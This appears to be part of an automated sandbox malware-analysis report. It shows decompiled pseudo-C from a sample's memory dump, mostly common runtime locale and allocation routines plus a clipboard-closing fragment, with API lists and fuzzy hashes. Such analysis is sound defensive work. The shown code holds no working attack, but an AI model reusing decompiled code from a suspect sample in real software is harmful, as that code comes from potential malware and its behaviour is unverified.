																							goto L92;
																						} else {
																							_t252 = _v60;
																							_t240 = _t239 + 1;
																							_t154 = _v60;
																							__eflags = _t240 - 0x1000;
																							if(_t240 < 0x1000) {
																								goto L85;
																							} else {
																								_t252 =  *(_t154 - 4);
																								_t240 =  &(_t240[8]);
																								__eflags = _t154 - _t252 + 0xfffffffc - 0x1f;
																								if(_t154 - _t252 + 0xfffffffc > 0x1f) {
																									goto L93;
																								} else {
																									goto L85;
																								}
																							}
																						}
																					}
																				} else {
																					CloseClipboard();
																					asm("xorps xmm0, xmm0");
																					_push(0);
																					asm("movups [esi], xmm0");
																					_push(0x43e90c);
																					 *(_t275 + 0x10) = 0;
																					 *(_t275 + 0x14) = 0;
																					E00402830(_t213, _t275, _t252, _t255, _t275);
																					_t242 = _v40;
																					__eflags = _t242 - 0x10;
																					if(_t242 < 0x10) {
																						L92:
																						 *[fs:0x0] = _v32;
																						_pop(_t258);
																						_pop(_t276);
																						__eflags = _v36 ^ _t290;
																						return E0041361E(_t275, _t213, _v36 ^ _t290, _t252, _t258, _t276);
																					} else {
																						_t252 = _v60;
																						_t240 =  &(_t242->i);
																						_t162 = _v60;
																						__eflags = _t240 - 0x1000;
																						if(_t240 < 0x1000) {
																							L85:
																							_push(_t240);
																							E004138AD(_t252);
																							goto L92;
																						} else {
																							_t252 =  *(_t162 - 4);
																							_t240 =  &(_t240[8]);
																							__eflags = _t162 - _t252 + 0xfffffffc - 0x1f;
																							if(_t162 - _t252 + 0xfffffffc > 0x1f) {
																								L93:
																								E0041805F(_t213, _t240, _t252);
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								return 0x444f38;
																							} else {
																								goto L85;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			L76:
																			CloseClipboard();
																			goto L77;
																		}
																	}
																} else {
																	goto L71;
																}
															}
														}
													} else {
														_t224 = _v20;
														_t61 = _t181 + 0x23; // 0x23
														_t251 = _v16;
														_t255 = _t61 & 0xffffffe0;
														 *(_t255 - 4) = _t181;
														L51:
														 *_t211 = _t255;
														goto L52;
													}
												}
											}
										} else {
											_t250 = _v12;
											_t27 = _t201 + 0x23; // 0x23
											_t269 = _t27 & 0xffffffe0;
											 *(_t269 - 4) = _t201;
											L31:
											 *((intOrPtr*)(_t210 + 0x10)) = _v16;
											 *(_t210 + 0x14) = _t254;
											_t262 = _t269 + _t250;
											_v16 = _t262;
											__eflags = _v20 - 0x10;
											_v12 = _a12 + _t262;
											_push(_t250);
											if(_v20 < 0x10) {
												_push(_t210);
												_push(_t269);
												E00414BF0();
												E00414BF0(_t262, _v24, _a12);
												 *_v12 = 0;
												 *_t210 = _t269;
												return _t210;
											} else {
												_t264 =  *_t210;
												_push(_t264);
												_push(_t269);
												E00414BF0();
												E00414BF0(_v16, _v24, _a12);
												_t298 = _t298 + 0x18;
												_t247 = _v20 + 1;
												 *_v12 = 0;
												__eflags = _t247 - 0x1000;
												if(_t247 < 0x1000) {
													L35:
													_push(_t247);
													E004138AD(_t264);
													 *_t210 = _t269;
													return _t210;
												} else {
													_t250 =  *((intOrPtr*)(_t264 - 4));
													_t222 = _t247 + 0x23;
													_t254 = _t264 - _t250;
													_t46 = _t254 - 4; // 0x7ffffffb
													__eflags = _t46 - 0x1f;
													if(_t46 > 0x1f) {
														goto L39;
													} else {
														_t264 = _t250;
														goto L35;
													}
												}
											}
										}
									}
								}
							} else {
								_t7 = _t206 + 0x23; // 0x23
								_t217 = _t7 & 0xffffffe0;
								 *(_t217 - 4) = _t206;
								_t109 = _v8;
								L13:
								 *_t109 = _t217;
								 *(_t109 + 0x10) = _t254;
								 *(_t109 + 0x14) = _t268;
								_t203 = E00414BF0(_t217, _v12, _t254);
								 *((char*)(_t254 + _t217)) = 0;
								return _t203;
							}
						}
					} else {
						 *(__ecx + 0x10) = _t254;
						return E00414BF0(__ecx, _t221, _t254);
					}
				}
			}

0x00402830
0x00402830
0x00402830
0x00402831
0x00402833
0x00402836
0x00402837
0x0040283a
0x0040283c
0x0040283f
0x00402842
0x0040284b
0x004028ff
0x00000000
0x00402851
0x00402851
0x0040285b
0x00402872
0x00402873
0x00402876
0x00402879
0x0040287f
0x004028ae
0x004028b0
0x004028b3
0x004028b6
0x004028bc
0x004028c7
0x004028c9
0x004028db
0x004028db
0x004028cb
0x004028d1
0x004028d3
0x004028d6
0x004028d6
0x00000000
0x004028be
0x004028be
0x004028be
0x004028c1
0x004028c3
0x00402904
0x00402904
0x00000000
0x004028c5
0x00000000
0x004028c5
0x004028c3
0x00402881
0x00402886
0x0040288b
0x0040288b
0x0040288e
0x0040288f
0x00402894
0x00402897
0x00402899
0x00402909
0x00402909
0x0040290e
0x0040290f
0x00402910
0x00402911
0x00402913
0x00402919
0x0040291a
0x0040291c
0x0040291f
0x00402926
0x00402927
0x0040292c
0x0040292f
0x00402932
0x00402933
0x00402935
0x00402a5b
0x00000000
0x0040293b
0x0040293b
0x0040293e
0x00402943
0x00402946
0x00402949
0x0040294c
0x0040294e
0x0040297b
0x0040297d
0x0040297f
0x00402981
0x0040298a
0x0040298c
0x0040298e
0x00402991
0x00402991
0x00402994
0x0040299a
0x004029a9
0x004029ab
0x004029bd
0x004029bd
0x004029ad
0x004029ae
0x004029b3
0x004029b6
0x004029b9
0x004029b9
0x00000000
0x0040299c
0x0040299c
0x0040299c
0x0040299f
0x004029a1
0x00402a60
0x00402a60
0x00000000
0x004029a7
0x00000000
0x004029a7
0x004029a1
0x00402983
0x00402983
0x00000000
0x00402983
0x00402950
0x00402950
0x00402952
0x00402957
0x00402957
0x0040295a
0x0040295b
0x00402960
0x00402963
0x00402965
0x00402a65
0x00402a65
0x00402a6a
0x00402a6b
0x00402a6c
0x00402a6d
0x00402a6e
0x00402a6f
0x00402a70
0x00402a71
0x00402a73
0x00402a76
0x00402a79
0x00402a7f
0x00402a80
0x00402a82
0x00402a8b
0x00402a8d
0x00402a8e
0x00402a93
0x00402a96
0x00402a99
0x00402a9c
0x00402a9f
0x00402aa6
0x00402aad
0x00402aae
0x00402ab0
0x00402ab2
0x00402b28
0x00402b2c
0x00402b30
0x00402b33
0x00402b41
0x00402b44
0x00402b4f
0x00402b5b
0x00402ab4
0x00402ab6
0x00402ab9
0x00402abf
0x00402af5
0x00402af7
0x00402afa
0x00402afd
0x00402b02
0x00402b0d
0x00402b0f
0x00402b24
0x00402b24
0x00402b11
0x00402b12
0x00402b17
0x00402b1a
0x00402b1d
0x00402b20
0x00402b20
0x00000000
0x00402b04
0x00402b04
0x00402b04
0x00402b07
0x00402b09
0x00402b5e
0x00000000
0x00402b0b
0x00000000
0x00402b0b
0x00402b09
0x00402ac1
0x00402ac6
0x00402acb
0x00402acb
0x00402ace
0x00402acf
0x00402ad4
0x00402ad7
0x00402ad9
0x00402b63
0x00402b63
0x00402b68
0x00402b69
0x00402b6a
0x00402b6b
0x00402b6c
0x00402b6d
0x00402b6e
0x00402b6f
0x00402b70
0x00402b71
0x00402b73
0x00402b74
0x00402b75
0x00402b78
0x00402b7e
0x00402b80
0x00402c1b
0x00402c1b
0x00402c1b
0x00402b86
0x00402b86
0x00402b8c
0x00402b8e
0x00402bab
0x00402bad
0x00402baf
0x00402bc0
0x00402bc2
0x00402bc4
0x00402bce
0x00402bd8
0x00402be0
0x00402be5
0x00402be9
0x00402bef
0x00402bf1
0x00402c0e
0x00402c0e
0x00402c15
0x00000000
0x00402bf3
0x00402bf6
0x00402bfc
0x00402bfe
0x00000000
0x00402c00
0x00402c00
0x00402c06
0x00402c08
0x00000000
0x00402c0a
0x00402c0a
0x00402c0a
0x00402c08
0x00402bfe
0x00402bc6
0x00402bc6
0x00000000
0x00402bc6
0x00402bb1
0x00402bb1
0x00000000
0x00402bb1
0x00402b90
0x00402b90
0x00000000
0x00402b90
0x00402b8e
0x00402c1d
0x00402c20
0x00402c23
0x00402c4d
0x00402c53
0x00402c25
0x00402c25
0x00402c28
0x00402c29
0x00402c2b
0x00402c31
0x00402c43
0x00402c43
0x00402c45
0x00000000
0x00402c33
0x00402c33
0x00402c36
0x00402c3e
0x00402c41
0x00402c54
0x00402c59
0x00402c5a
0x00402c5b
0x00402c5c
0x00402c5d
0x00402c5e
0x00402c5f
0x00402c60
0x00402c61
0x00402c63
0x00402c65
0x00402c70
0x00402c74
0x00402c79
0x00402c7b
0x00402c7e
0x00402c7f
0x00402c80
0x00402c84
0x00402c8a
0x00402c8c
0x00402c91
0x00402c94
0x00402c9a
0x00402c9c
0x00402cb2
0x00402cb2
0x00402cb7
0x00402cba
0x00402cbc
0x00402cc3
0x00402cc8
0x00402ccf
0x00000000
0x00402c9e
0x00402ca6
0x00402ca8
0x00402caa
0x00402ce0
0x00402ce2
0x00402ce4
0x00000000
0x00402ce6
0x00402ce6
0x00402ce8
0x00402cef
0x00402cf2
0x00402cf9
0x00402cfd
0x00402d00
0x00402d03
0x00402d03
0x00402d05
0x00402d06
0x00402d06
0x00402d0d
0x00402d0e
0x00402d12
0x00402d18
0x00402d1f
0x00402d25
0x00402d27
0x00402d8b
0x00402d91
0x00402d94
0x00402d97
0x00402d9e
0x00402da5
0x00402da7
0x00402dde
0x00402de2
0x00402de5
0x00402dea
0x00000000
0x00402da9
0x00402da9
0x00402daa
0x00402db1
0x00402db6
0x00402db9
0x00402dbc
0x00000000
0x00402dbe
0x00402dbe
0x00402dc1
0x00402dc2
0x00402dc4
0x00402dca
0x00000000
0x00402dcc
0x00402dcc
0x00402dcf
0x00402dd7
0x00402dda
0x00000000
0x00402ddc
0x00000000
0x00402ddc
0x00402dda
0x00402dca
0x00402dbc
0x00402d29
0x00402d29
0x00402d2f
0x00402d34
0x00402d36
0x00402d39
0x00402d3e
0x00402d45
0x00402d4c
0x00402d51
0x00402d54
0x00402d57
0x00402def
0x00402df4
0x00402dfc
0x00402dfd
0x00402e01
0x00402e0b
0x00402d5d
0x00402d5d
0x00402d60
0x00402d61
0x00402d63
0x00402d69
0x00402d7f
0x00402d7f
0x00402d81
0x00000000
0x00402d6b
0x00402d6b
0x00402d6e
0x00402d76
0x00402d79
0x00402e0c
0x00402e0c
0x00402e11
0x00402e12
0x00402e13
0x00402e14
0x00402e15
0x00402e16
0x00402e17
0x00402e18
0x00402e19
0x00402e1a
0x00402e1b
0x00402e1c
0x00402e1d
0x00402e1e
0x00402e1f
0x00402e25
0x00000000
0x00000000
0x00000000
0x00402d79
0x00402d69
0x00402d57
0x00402d27
0x00402cac
0x00402cac
0x00402cac
0x00000000
0x00402cac
0x00402caa
0x00000000
0x00000000
0x00000000
0x00402c41
0x00402c31
0x00402adf
0x00402adf
0x00402ae2
0x00402ae5
0x00402ae8
0x00402aeb
0x00402b26
0x00402b26
0x00000000
0x00402b26
0x00402ad9
0x00402abf
0x0040296b
0x0040296b
0x0040296e
0x00402971
0x00402974
0x004029bf
0x004029c2
0x004029c8
0x004029cb
0x004029d0
0x004029d3
0x004029d7
0x004029da
0x004029db
0x00402a32
0x00402a33
0x00402a34
0x00402a40
0x00402a4b
0x00402a51
0x00402a58
0x004029dd
0x004029dd
0x004029df
0x004029e0
0x004029e1
0x004029ef
0x004029f7
0x004029fd
0x004029fe
0x00402a01
0x00402a07
0x00402a1b
0x00402a1b
0x00402a1d
0x00402a25
0x00402a2f
0x00402a09
0x00402a09
0x00402a0c
0x00402a0f
0x00402a11
0x00402a14
0x00402a17
0x00000000
0x00402a19
0x00402a19
0x00000000
0x00402a19
0x00402a17
0x00402a07
0x004029db
0x00402965
0x0040294e
0x0040289b
0x0040289b
0x0040289e
0x004028a1
0x004028a4
0x004028dd
0x004028e1
0x004028e4
0x004028e7
0x004028ea
0x004028f2
0x004028fc
0x004028fc
0x00402899
0x0040285d
0x00402860
0x0040286f
0x0040286f
0x0040285b

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00402904

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 978065179e51d65b8de00e6d3496d99f29e8a4fbbf39a2ea39a96b23100e2d96
Instruction ID: 71df9860eed0ca3b424fdc2ea3185412ac39c8c989fabe0bd7de3ce6336b4286
Opcode Fuzzy Hash: 978065179e51d65b8de00e6d3496d99f29e8a4fbbf39a2ea39a96b23100e2d96
Instruction Fuzzy Hash: 53021771A002049BDB149F68D9487AFB7B5EF85310F14423EF815A73D1DBB8DE818BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0042BA4D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E0042BA4D(void* __ecx, void* __edx, signed short _a4, signed short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed short* _v24;
				signed short* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed short* _t46;
				signed short _t47;
				signed short _t48;
				int _t49;
				void* _t53;
				signed short* _t57;
				signed short _t70;
				intOrPtr _t73;
				void* _t75;
				signed short _t76;
				intOrPtr _t83;
				short* _t86;
				signed short _t89;
				signed short* _t99;
				void* _t100;
				signed short _t101;
				signed int _t104;
				void* _t105;

				_t39 =  *0x443048; // 0x7239e5fc
				_v8 = _t39 ^ _t104;
				_t86 = _a12;
				_t101 = _a4;
				_v28 = _a8;
				_v24 = E00420590(__ecx, __edx, _t101) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E00420590(__ecx, __edx, _t101);
				_t97 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t89 = _t101 + 0x80;
				_t46 = _v24;
				 *_t46 = _t101;
				_t99 =  &(_t46[2]);
				 *_t99 = _t89;
				if(_t89 != 0 &&  *_t89 != 0) {
					_t83 =  *0x437c54; // 0x17
					E0042B9EC(_t89, 0, 0x437b40, _t83 - 1, _t99);
					_t46 = _v24;
					_t105 = _t105 + 0xc;
					_t97 = 0;
				}
				_v20 = _t97;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t97) {
					_t48 =  *_t99;
					if(_t48 == 0 ||  *_t48 == _t97) {
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
					} else {
						E0042B38B(_t89, _t97,  &_v20);
						_pop(_t89);
					}
					goto L20;
				} else {
					_t70 =  *_t99;
					if(_t70 == 0 ||  *_t70 == _t97) {
						E0042B471(_t89, _t97,  &_v20);
					} else {
						E0042B3D6(_t89, _t97,  &_v20);
					}
					_pop(_t89);
					if(_v20 != 0) {
						_t100 = 0;
						goto L25;
					} else {
						_t73 =  *0x437b3c; // 0x41
						_t75 = E0042B9EC(_t89, _t97, "X|C", _t73 - 1, _v24);
						_t105 = _t105 + 0xc;
						if(_t75 == 0) {
							L20:
							_t100 = 0;
							L21:
							if(_v20 != 0) {
								L25:
								asm("sbb esi, esi");
								_t101 = E0042B878(_t89,  ~_t101 & _t101 + 0x00000100,  &_v20);
								if(_t101 == 0 || IsValidCodePage(_t101 & 0x0000ffff) == 0 || IsValidLocale(_v16, 1) == 0) {
									goto L22;
								} else {
									_t57 = _v28;
									if(_t57 != 0) {
										 *_t57 = _t101;
									}
									E0042352F(_v16,  &(_v24[0x128]), 0x55, _t100);
									if(_t86 == 0) {
										L34:
										_t53 = 1;
										L23:
										return E0041361E(_t53, _t86, _v8 ^ _t104, _t97, _t100, _t101);
									} else {
										_t33 =  &(_t86[0x90]); // 0xd0
										E0042352F(_v16, _t33, 0x55, _t100);
										if(GetLocaleInfoW(_v16, 0x1001, _t86, 0x40) == 0) {
											goto L22;
										}
										_t36 =  &(_t86[0x40]); // 0x30
										if(GetLocaleInfoW(_v12, 0x1002, _t36, 0x40) == 0) {
											goto L22;
										}
										_t38 =  &(_t86[0x80]); // 0xb0
										E0042FD1E(_t38, _t101, _t38, 0x10, 0xa);
										goto L34;
									}
								}
							}
							L22:
							_t53 = 0;
							goto L23;
						}
						_t76 =  *_t99;
						_t100 = 0;
						if(_t76 == 0 ||  *_t76 == 0) {
							E0042B471(_t89, _t97,  &_v20);
						} else {
							E0042B3D6(_t89, _t97,  &_v20);
						}
						_pop(_t89);
						goto L21;
					}
				}
			}

0x0042ba55
0x0042ba5c
0x0042ba63
0x0042ba67
0x0042ba6b
0x0042ba79
0x0042ba7e
0x0042ba7f
0x0042ba80
0x0042ba81
0x0042ba89
0x0042ba8b
0x0042ba91
0x0042ba97
0x0042ba9a
0x0042ba9c
0x0042ba9f
0x0042baa3
0x0042baaa
0x0042bab7
0x0042babc
0x0042babf
0x0042bac2
0x0042bac2
0x0042bac4
0x0042bac7
0x0042bacb
0x0042bb3b
0x0042bb3f
0x0042bb52
0x0042bb59
0x0042bb5f
0x0042bb62
0x0042bb46
0x0042bb4a
0x0042bb4f
0x0042bb4f
0x00000000
0x0042bad2
0x0042bad2
0x0042bad6
0x0042baec
0x0042badd
0x0042bae1
0x0042bae1
0x0042baf5
0x0042baf6
0x0042bb7e
0x00000000
0x0042bafc
0x0042bafc
0x0042bb0b
0x0042bb10
0x0042bb15
0x0042bb65
0x0042bb65
0x0042bb67
0x0042bb6b
0x0042bb80
0x0042bb8c
0x0042bb96
0x0042bb9c
0x00000000
0x0042bbbb
0x0042bbbb
0x0042bbc0
0x0042bbc2
0x0042bbc2
0x0042bbd3
0x0042bbda
0x0042bc3a
0x0042bc3c
0x0042bb6f
0x0042bb7d
0x0042bbdc
0x0042bbdf
0x0042bbe9
0x0042bc01
0x00000000
0x00000000
0x0042bc09
0x0042bc20
0x00000000
0x00000000
0x0042bc2a
0x0042bc32
0x00000000
0x0042bc37
0x0042bbda
0x0042bb9c
0x0042bb6d
0x0042bb6d
0x00000000
0x0042bb6d
0x0042bb17
0x0042bb19
0x0042bb1d
0x0042bb33
0x0042bb24
0x0042bb28
0x0042bb28
0x0042bb38
0x00000000
0x0042bb38
0x0042baf6

APIs

Part of subcall function 00420590: GetLastError.KERNEL32(?,00000008,00427C89), ref: 00420594
Part of subcall function 00420590: SetLastError.KERNEL32(00000000,?,00000008,000000FF), ref: 00420636

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0042BB59
IsValidCodePage.KERNEL32(00000000), ref: 0042BBA2
IsValidLocale.KERNEL32(?,00000001), ref: 0042BBB1
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0042BBF9
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0042BC18

Strings

X|C, xrefs: 0042BB06

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: X|C
API String ID: 415426439-4054941898
Opcode ID: 9cab679f02e88f86f742118bdc0e297988c68e7abe25fb9b670304d9ba666abc
Instruction ID: 99ea592d9ec8dd99113bf41f193dc7b7e704182953ba15e308239c6b1a999779
Opcode Fuzzy Hash: 9cab679f02e88f86f742118bdc0e297988c68e7abe25fb9b670304d9ba666abc
Instruction Fuzzy Hash: 4E51A671B00229AFDF10DFA5EC41ABF77B8EF04700F94046AE900E7295DB78AA40C799

Uniqueness

Uniqueness Score: -1.00%

Function 0042B0E9 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E0042B0E9(void* __ecx, void* __edx, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				void* _t68;
				void* _t72;
				void* _t73;
				void* _t77;
				intOrPtr* _t84;
				short* _t87;
				void* _t89;
				intOrPtr* _t92;
				intOrPtr* _t96;
				short _t114;
				void* _t115;
				intOrPtr* _t117;
				intOrPtr _t119;
				signed int* _t120;
				void* _t121;
				void* _t122;
				intOrPtr* _t123;
				signed short _t125;
				int _t127;
				void* _t128;
				void* _t131;
				signed int _t132;

				_push(__ecx);
				_push(__ecx);
				_push(_t122);
				_t117 = _a4;
				_t33 = E00420590(__ecx, __edx, _t122);
				_t114 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t123 = _t3;
				_t4 = _t123 + 0x250; // 0x2a0
				_t34 = _t4;
				 *((intOrPtr*)(_t123 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t123 + 4; // 0x54
				_t84 = _t6;
				_v8 = _t34;
				_t92 = _t117;
				_t35 = _t117 + 0x80;
				 *_t123 = _t117;
				 *_t84 = _t35;
				if( *_t35 != 0) {
					E0042B07C(0x437b40, 0x16, _t84);
					_t92 =  *_t123;
					_t131 = _t131 + 0xc;
					_t114 = 0;
				}
				_push(_t123);
				if( *_t92 == _t114) {
					E0042A9ED(_t84, _t92);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t84)) == _t114) {
						E0042AB0D();
					} else {
						E0042AA74(_t92);
					}
					if( *((intOrPtr*)(_t123 + 8)) == 0) {
						_t77 = E0042B07C("X|C", 0x40, _t123);
						_t131 = _t131 + 0xc;
						if(_t77 != 0) {
							_push(_t123);
							if( *((intOrPtr*)( *_t84)) == 0) {
								E0042AB0D();
							} else {
								E0042AA74(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t123 + 8)) == 0) {
					L37:
					_t37 = 0;
					goto L38;
				} else {
					_t38 = _t117 + 0x100;
					if( *_t117 != 0 ||  *_t38 != 0) {
						_t39 = E0042AF39(_t38, _t123);
					} else {
						_t39 = GetACP();
					}
					_t125 = _t39;
					if(_t125 == 0 || _t125 == 0xfde8 || IsValidCodePage(_t125 & 0x0000ffff) == 0) {
						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t125;
						}
						_t119 = _a12;
						if(_t119 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t96 = _v8;
							_t15 = _t119 + 0x120; // 0xd0
							_t87 = _t15;
							 *_t87 = 0;
							_t16 = _t96 + 2; // 0x2
							_t115 = _t16;
							do {
								_t45 =  *_t96;
								_t96 = _t96 + 2;
							} while (_t45 != _v12);
							_t18 = (_t96 - _t115 >> 1) + 1; // -1
							_t47 = E0042812A(_t96 - _t115 >> 1, _t87, 0x55, _v8);
							_t132 = _t131 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E0041807C();
								asm("int3");
								_t130 = _t132;
								_t50 =  *0x443048; // 0x7239e5fc
								_v52 = _t50 ^ _t132;
								_push(_t87);
								_push(_t125);
								_t126 = _v40;
								_push(_t119);
								_t52 = E00420590(_t98, _t115, _v40);
								_t88 = _t52;
								_t120 =  *(E00420590(_t98, _t115, _v40) + 0x34c);
								_t127 = E0042B824(_t126);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t127, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								if(_t56 != 0) {
									if(E00427E64(_t120, _t127,  *((intOrPtr*)(_t88 + 0x54)),  &_v272) == 0 && E0042B959(_t127) != 0) {
										 *_t120 =  *_t120 | 0x00000004;
										_t120[2] = _t127;
										_t120[1] = _t127;
									}
									_t62 =  !( *_t120 >> 2) & 0x00000001;
								} else {
									 *_t120 =  *_t120 & _t56;
									_t62 = _t56 + 1;
								}
								_pop(_t121);
								_pop(_t128);
								_pop(_t89);
								return E0041361E(_t62, _t89, _v32 ^ _t130, _t115, _t121, _t128);
							} else {
								if(E00423431(_t87, 0x1001, _t119, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t119 + 0x80; // 0x30
									_t87 = _t20;
									_t21 = _t119 + 0x120; // 0xd0
									if(E00423431(_t21, 0x1002, _t87, 0x40) == 0) {
										goto L37;
									} else {
										_t68 = E00431247(_t87, 0x5f);
										_pop(_t98);
										if(_t68 != 0) {
											L31:
											_t22 = _t119 + 0x120; // 0xd0
											if(E00423431(_t22, 7, _t87, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_t73 = E00431247(_t87, 0x2e);
											_pop(_t98);
											if(_t73 == 0) {
												L32:
												_t119 = _t119 + 0x100;
												if(_t125 != 0xfde9) {
													E0042FD1E(_t98, _t125, _t119, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t72 = E0042812A(_t98, _t119, 0x10, L"utf8");
													_t132 = _t132 + 0x10;
													if(_t72 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0042b0ee
0x0042b0ef
0x0042b0f1
0x0042b0f3
0x0042b0f6
0x0042b0fd
0x0042b0ff
0x0042b102
0x0042b102
0x0042b105
0x0042b105
0x0042b10b
0x0042b10e
0x0042b111
0x0042b111
0x0042b114
0x0042b117
0x0042b119
0x0042b11f
0x0042b121
0x0042b126
0x0042b130
0x0042b135
0x0042b137
0x0042b13a
0x0042b13a
0x0042b13c
0x0042b140
0x0042b189
0x00000000
0x0042b142
0x0042b147
0x0042b150
0x0042b149
0x0042b149
0x0042b149
0x0042b15b
0x0042b165
0x0042b16a
0x0042b16f
0x0042b175
0x0042b179
0x0042b182
0x0042b17b
0x0042b17b
0x0042b17b
0x0042b18e
0x0042b18e
0x0042b16f
0x0042b15b
0x0042b194
0x0042b2d0
0x0042b2d0
0x00000000
0x0042b19a
0x0042b19a
0x0042b1a3
0x0042b1b4
0x0042b1aa
0x0042b1aa
0x0042b1aa
0x0042b1bb
0x0042b1bf
0x00000000
0x0042b1e3
0x0042b1e3
0x0042b1e8
0x0042b1ea
0x0042b1ea
0x0042b1ec
0x0042b1f1
0x0042b2cb
0x0042b2cd
0x0042b2d2
0x0042b2d6
0x0042b1f7
0x0042b1f7
0x0042b1fa
0x0042b1fa
0x0042b202
0x0042b205
0x0042b205
0x0042b208
0x0042b208
0x0042b20b
0x0042b20e
0x0042b218
0x0042b222
0x0042b227
0x0042b22c
0x0042b2d7
0x0042b2d9
0x0042b2da
0x0042b2db
0x0042b2dc
0x0042b2dd
0x0042b2de
0x0042b2e3
0x0042b2e7
0x0042b2ef
0x0042b2f6
0x0042b2f9
0x0042b2fa
0x0042b2fb
0x0042b2fe
0x0042b2ff
0x0042b304
0x0042b30c
0x0042b31b
0x0042b327
0x0042b338
0x0042b340
0x0042b35a
0x0042b367
0x0042b36a
0x0042b36d
0x0042b36d
0x0042b377
0x0042b342
0x0042b342
0x0042b344
0x0042b344
0x0042b37d
0x0042b37e
0x0042b381
0x0042b388
0x0042b232
0x0042b242
0x00000000
0x0042b248
0x0042b24a
0x0042b24a
0x0042b256
0x0042b264
0x00000000
0x0042b266
0x0042b269
0x0042b26f
0x0042b272
0x0042b282
0x0042b287
0x0042b295
0x00000000
0x00000000
0x00000000
0x00000000
0x0042b274
0x0042b277
0x0042b27d
0x0042b280
0x0042b297
0x0042b297
0x0042b2a3
0x0042b2c3
0x00000000
0x0042b2a5
0x0042b2a5
0x0042b2af
0x0042b2b4
0x0042b2b9
0x00000000
0x0042b2bb
0x00000000
0x0042b2bb
0x0042b2b9
0x00000000
0x00000000
0x00000000
0x0042b280
0x0042b272
0x0042b264
0x0042b242
0x0042b22c
0x0042b1f1
0x0042b1bf

APIs

Part of subcall function 00420590: GetLastError.KERNEL32(?,00000008,00427C89), ref: 00420594
Part of subcall function 00420590: SetLastError.KERNEL32(00000000,?,00000008,000000FF), ref: 00420636

GetACP.KERNEL32(?,?,?,?,?,?,0041EBEC,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 0042B1AA
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0041EBEC,?,?,?,00000055,?,-00000050,?,?), ref: 0042B1D5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0042B338

Strings

X|C, xrefs: 0042B160
utf8, xrefs: 0042B2A7

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: X|C$utf8
API String ID: 607553120-1629001950
Opcode ID: 709f726eb666b79f5bad23149724d9554512e537e0563fa609d3dd05eea2a28b
Instruction ID: 6faa104a8387bd1dbd1e95285a211f66402bec9412bb850d11afb6633de07d9a
Opcode Fuzzy Hash: 709f726eb666b79f5bad23149724d9554512e537e0563fa609d3dd05eea2a28b
Instruction Fuzzy Hash: 3B71F731700326AAE724AB75EC56B7B73A8EF04344F94046BF905D7281EB7CA950C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0042B878 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMONLIBRARYCODE

